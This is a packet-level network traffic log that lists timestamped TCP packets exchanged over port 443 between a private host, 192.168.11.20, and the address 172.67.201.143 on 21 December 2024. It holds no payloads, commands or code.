Dec 21, 2024 19:23:05.683767080 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.684256077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.684267998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.684392929 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.684494972 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.684499025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.684582949 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.684712887 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.684768915 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.684782028 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.684988976 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.684993982 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.685010910 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.685076952 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.685206890 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.685209990 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.685339928 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.685575962 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.685586929 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.685743093 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.685861111 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.685864925 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.686031103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.686042070 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.686043024 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.686048031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.686168909 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.686247110 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.686352968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.686558962 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.686569929 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.686610937 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.686717033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.686835051 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.686839104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.687066078 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.687189102 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.687201977 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.687377930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.687383890 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.687462091 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.687654018 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.688538074 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.688550949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.688743114 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.688746929 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.688849926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.689032078 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.690227032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.690239906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.690433025 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.690438986 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.690553904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.690706015 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.691374063 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.691385984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.691524982 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.691632032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.691636086 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.691694021 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.691839933 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.691864967 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.691874981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.692086935 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.692090034 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.692178011 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.692305088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.692723989 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.692735910 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.692889929 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.693006992 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.693010092 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.693269968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.693572998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.693584919 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.693722010 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.693829060 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.693833113 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.693907022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.694034100 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.694042921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.694053888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.694168091 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.694271088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.694274902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.694359064 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.694473028 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.694484949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.694502115 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.694505930 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.694684029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.694777012 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.695050955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.695060968 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.695204020 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.695363045 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.695365906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.695549011 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.695560932 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.695568085 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.695573092 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.695765018 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.695867062 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.696043968 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.696053982 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.696324110 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.696324110 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.696329117 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.696561098 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.696568966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.696573973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.696753025 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.696881056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.697019100 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.697029114 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.697166920 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.697271109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.697274923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.697382927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.697491884 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.697494984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.697546959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.697648048 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.697822094 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.697834015 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.698028088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.698117971 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.698121071 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.698333979 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.698348045 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.698375940 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.698379993 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.698506117 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.698612928 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.698782921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.698792934 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.698935032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.699106932 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.699111938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.699299097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.699465036 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.699476957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.699662924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.699769974 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.699773073 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.699795008 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.699889898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.699964046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.699966908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.700081110 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.700249910 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.700261116 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.700269938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.700457096 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.700462103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.700546980 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.700716019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.701040983 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.701052904 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.701226950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.701231956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.701313972 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.701446056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.701483011 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.701493025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.701704025 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.701708078 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.701795101 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.701913118 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.701925039 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.701937914 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.701941967 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.702132940 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.702236891 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.702446938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.702460051 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.702601910 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.702692032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.702694893 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.702744007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.702783108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.702786922 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.702887058 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.702893019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.702967882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.703068972 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.703156948 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.703211069 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.703325987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.703393936 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.703397036 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.703536987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.703656912 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.703666925 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.703823090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.703927040 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.703932047 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.704008102 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.704030991 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.704111099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.704134941 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.704138041 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.704200983 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.704293966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.704437017 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.704765081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.704777002 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.704904079 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.705022097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.705025911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.705096960 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.705229998 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.705254078 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.705265999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.705490112 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.705495119 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.705568075 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.705707073 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.705708027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.705710888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.705837965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.705842018 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.705929041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.705931902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.705993891 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.706111908 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.706192970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.706209898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.706413984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.706418991 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.706504107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.706618071 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.706748962 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.706762075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.706919909 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.706998110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.707020998 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.707026958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.707228899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.707371950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.707633018 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.707643032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.707813978 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.707921028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.707925081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.707979918 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.707992077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.708113909 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.708117962 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.708286047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.708436966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.708446026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.708606958 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.708775997 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.708775997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.708781004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.708957911 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.708961964 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.709088087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.709091902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.709230900 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.709239960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.709244013 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.709249973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.709439039 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.709608078 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.709651947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.709661961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.709803104 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.709881067 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.709884882 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.709988117 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.710102081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.710170984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.710180044 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.710390091 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.710396051 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.710534096 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.710593939 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.710607052 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.710688114 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.710692883 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.710793018 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.710937023 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.710967064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.710975885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.711180925 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.711184025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.711287975 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.711419106 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.711462021 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.711472034 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.711622953 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.711726904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.711733103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.711922884 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.711934090 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.711961031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.711965084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.712104082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.712212086 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.712220907 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.712220907 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.712224960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.712496996 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.712583065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.712594032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.712610960 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.712615013 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.712728977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.712733984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.712805986 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.712924957 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.712927103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.712933064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.713027000 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.713186026 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.713325977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.713443041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.713447094 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.713458061 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.713674068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.713716030 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.713720083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.713794947 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.713979006 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.713989019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.713990927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.713994980 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.714214087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.714289904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.714382887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.714392900 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.714560986 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.714720011 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.714724064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.714983940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.714998007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.715029955 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.715034008 CET	443	49743	172.67.201.143	192.168.11.20
